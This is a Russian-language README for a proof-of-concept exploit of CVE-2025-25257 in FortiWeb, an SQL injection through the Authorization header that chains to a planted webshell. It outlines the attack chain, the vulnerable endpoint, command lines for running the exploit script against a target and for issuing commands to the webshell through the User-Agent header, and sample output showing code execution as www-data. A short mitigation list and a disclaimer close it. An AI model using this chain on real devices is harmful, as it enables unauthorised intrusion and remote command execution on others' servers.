🚨 CVE-2025-25257 – FortiWeb SQLi к RCE

Критическая SQL-инъекция → Исполнение веб-шелла

Обнаружена и реализована 0xgh057r3c0n

🧠 Обзор уязвимости

CVE-2025-25257 затрагивает системы FortiWeb, которые предоставляют эндпоинт /api/fabric/device/status, который не выполняет должную санитизацию ввода заголовка Authorization.

Злоумышленник может выполнить неавторизованную SQL-инъекцию, чтобы записать веб-шелл на сервер и удалённо выполнять команды.

💥 Цепочка атаки

SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 Уязвимый эндпоинт

GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 Возможности эксплойта

• SQLi через Bearer-токен
• SQL INTO OUTFILE для сброса шелла
• Python-хук запускает chmod
• Команды выполняются через User-Agent
• Полностью автоматизированный PoC

🧪 Использование

python3 CVE-2025-25257.py -t https://target-host.com

Затем:

curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 Требования

• Python 3.6+
• Модуль requests

Установка:

pip install requests

📤 Пример вывода

[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 Оценка CVSS

🛡️ Смягчение

• Обновите прошивку FortiWeb (если доступен патч)
• Санитизируйте все входные данные заголовков
• Ограничьте пути записи файлов и выполнение CGI

👨‍💻 Автор

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n

⚠️ Отказ от ответственности

Этот proof-of-concept предназначен только для образовательных и авторизованных тестов. Используйте на свой страх и риск. Автор не несёт ответственности за неправомерное использование.